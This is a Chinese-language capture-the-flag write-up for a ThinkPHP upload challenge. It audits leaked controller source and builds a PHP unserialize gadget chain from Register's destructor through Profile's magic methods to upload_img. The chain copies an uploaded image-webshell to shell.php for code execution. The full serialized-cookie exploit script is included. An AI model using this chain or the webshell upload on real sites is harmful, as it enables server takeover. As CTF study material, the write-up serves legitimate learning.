一、信息收集
打开界面是一个登陆,界面随便注册一个然后登陆
然后是一个上传文件的操作,点击php后发现的回显
然后又上传了一个图片文件,显示出了照片的存放路径,这里可以上传图片码
然后抓包看一下,base64解码
a:5:{s:2:"ID";i:3;s:8:"username";s:3:"111";s:5:"email";s:10:"111@qq.com";s:8:"password";s:32:"698d51a19d8a121ce581499d7b701668";s:3:"img";s:79:"../upload/c47b21fcf8f0bc8b3920541abd8024fd/f47454d1d3644127f42070181a8b9afc.png";}
发现是序列化,那么肯定会有反序列化的地方目前还没遇到,也没提示的点了,扫一下目录,扫到了www.tar.gz
里面有用的也就四个文件 index.php login.php profile.php Register.php
二、代码审计
index.php 最重要的也就是cookie反序列化哪里
<?php
namespace app\web\controller;
use think\Controller;
class Index extends Controller
{
public $profile;
public $profile_db;
public function index()
{
if($this->login_check()){ //因为下面有exit 这里肯定是为false或者0
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
return $this->fetch("index");
}
public function home(){
if(!$this->login_check()){ //这
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
//其实到这里我们只要访问index 和home肯定会执行cookie反序列化
if(!$this->check_upload_img()){
$this->assign("username",$this->profile_db['username']);
return $this->fetch("upload");
}else{
$this->assign("img",$this->profile_db['img']);
$this->assign("username",$this->profile_db['username']);
return $this->fetch("home");
}
}
public function login_check(){
$profile=cookie('user');//存入cookie中
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));//这里是把cookie反序列化
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}
public function check_upload_img(){
if(!empty($this->profile) && !empty($this->profile_db)){
if(empty($this->profile_db['img'])){
return 0;
}else{
return 1;
}
}
}
public function logout(){
cookie("user",null);
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
public function __get($name)
{
return "";
}
}
login.php 是一些登陆验证没多大用感觉
<?php
namespace app\web\controller;
use think\Controller;
class Login extends Controller
{
public $checker;
public function __construct()
{
$this->checker=new Index();
}
public function login(){//因为有 exit两条路要么,checker为0要么第二个if为false
if($this->checker){
if($this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
}
if(input("?post.email") && input("?post.password")){
$email=input("post.email","","addslashes");
$password=input("post.password","","addslashes");
$user_info=db("user")->where("email",$email)->find();
//上面就是一些登陆验证啥的不用管
if($user_info) {
if (md5($password) === $user_info['password']) {
$cookie_data=base64_encode(serialize($user_info));
//这里有个序列化 base64加密
cookie("user",$cookie_data,3600);
$this->success('Login successful!', url('../home'));
} else {
$this->error('Login failed!', url('../index'));
}
}else{
$this->error('email not registed!',url('../index'));
}
}else{
$this->error('email or password is null!',url('../index'));
}
}
}
profile.php 是一个关键的类里面有get call魔术方法和上传目录的相关代码
<?php
namespace app\web\controller;
use think\Controller;
class Profile extends Controller
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __construct()
{
$this->checker=new Index();
$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
@chdir("../public/upload");
if(!is_dir($this->upload_menu)){
@mkdir($this->upload_menu);
}
@chdir($this->upload_menu);
}
public function upload_img(){
if($this->checker){ //感觉每个里面都有这个先省略在这
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){ //上传的名字md5加密.png
//会改变之前的文件名,变成不可控所以要绕过这个if
//所以只能上传一次,不然后台就不为空了
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
//getimagesize 是检测是不是图像类型比如png.jpg等
@copy($this->filename_tmp, $this->filename);
//把文件复制到指定路径 filename_tmp是系统指定的
//如果我们能控制,指定路径的目录名称,然后传一个图片码不就可以getshell了码
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
public function update_img(){
$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
if(empty($user_info['img']) && $this->img){
if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
$this->update_cookie();
$this->success('Upload img successful!', url('../home'));
}else{
$this->error('Upload file failed!', url('../index'));
}
}
}
public function update_cookie(){
$this->checker->profile['img']=$this->img;
cookie("user",base64_encode(serialize($this->checker->profile)),3600);
}
public function ext_check(){
$ext_arr=explode(".",$this->filename);
$this->ext=end($ext_arr);
if($this->ext=="png"){
return 1;
}else{
return 0;
}
}
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
Register.php
<?php
namespace app\web\controller;
use think\Controller;
class Register extends Controller
{
public $checker;
public $registed;
public function __construct()
{
$this->checker=new Index();
}
public function register()
{
if ($this->checker) {
if($this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
}
if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
$email = input("post.email", "", "addslashes");
$password = input("post.password", "", "addslashes");
$username = input("post.username", "", "addslashes");
if($this->check_email($email)) {
if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
$user_info = ["email" => $email, "password" => md5($password), "username" => $username];
if (db("user")->insert($user_info)) {
$this->registed = 1;
$this->success('Registed successful!', url('../index'));
} else {
$this->error('Registed failed!', url('../index'));
}
} else {
$this->error('Account already exists!', url('../index'));
}
}else{
$this->error('Email illegal!', url('../index'));
}
} else {
$this->error('Something empty!', url('../index'));
}
}
public function check_email($email){
$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
preg_match($pattern, $email, $matches);
if(empty($matches)){
return 0;
}else{
return 1;
}
}
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
发现了destruct序列化的入口,我们现在就可以构造链子了,如果想继续构造那么
registed的值必须为0,看了这么多代码,其实有关的就是三个if这里
public function upload_img(){
第一 if($this->checker){ //感觉每个里面都有这个先省略在这
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
肯定是不满足直接checker为0,绕过
第二 if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
第二个if我觉得就是对上传的文件进行md5名称.png
ext必须为1才向下运行
第三 if($this->ext) {
if(getimagesize($this->filename_tmp)) {
//getimagesize 是检测是不是图像类型比如png.jpg等
@copy($this->filename_tmp, $this->filename);
//把文件复制到指定路径 filename_tmp是系统指定的
//如果我们能控制,指定路径的目录名称,然后传一个图片码不就可以getshell了码
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
开头destruct结尾upload_img确定了直接调用,
$this->checker->index(); profile.php里面不存在就直接调用了call魔法函数
name的值就是方法的名也就是index
public function __get($name)
{
return $this->except[$name];
}public function __call($name, $arguments)
{
if($this->{$name}){//成为了这里的属性,而类中不存在index属性//就会调用get魔法函数
$this->{$this->{$name}}($arguments);
}
}
return $this->except[$name]; 其实现在就是return $this->except[index];
except是一个数组,正好我们想要调用的这个public function upload_img()也是在同一个类中,那个我们给 index赋值 upload_img这个方法不就可以了吗
三、getshell
<?php
namespace app\web\controller;
class Register
{
public $checker;
public $registed=0;
}
class Profile
{
public $checker=0;
public $filename_tmp='./upload/c47b21fcf8f0bc8b3920541abd8024fd/a7c3ce076585477741d951d179ab07dc.png';
public $filename='./upload/c47b21fcf8f0bc8b3920541abd8024fd/shell.php';
public $upload_menu;
public $ext=1;
public $img;
public $except=array('index'=>'upload_img');
}
$a=new Register();
$a->checker=new Profile();
echo base64_encode(serialize($a));
这里filename_tmp就是我们上传图片码的文件位置,下面filename是我们自己构造的
然后因为是cookie反序列化,直接存入cookie刷新页面就会自动反序列化了
首先传入cookie
然后直接访问文件,出现图片的代码、
接下来我们可以通过一句话木马来getshell
获得flag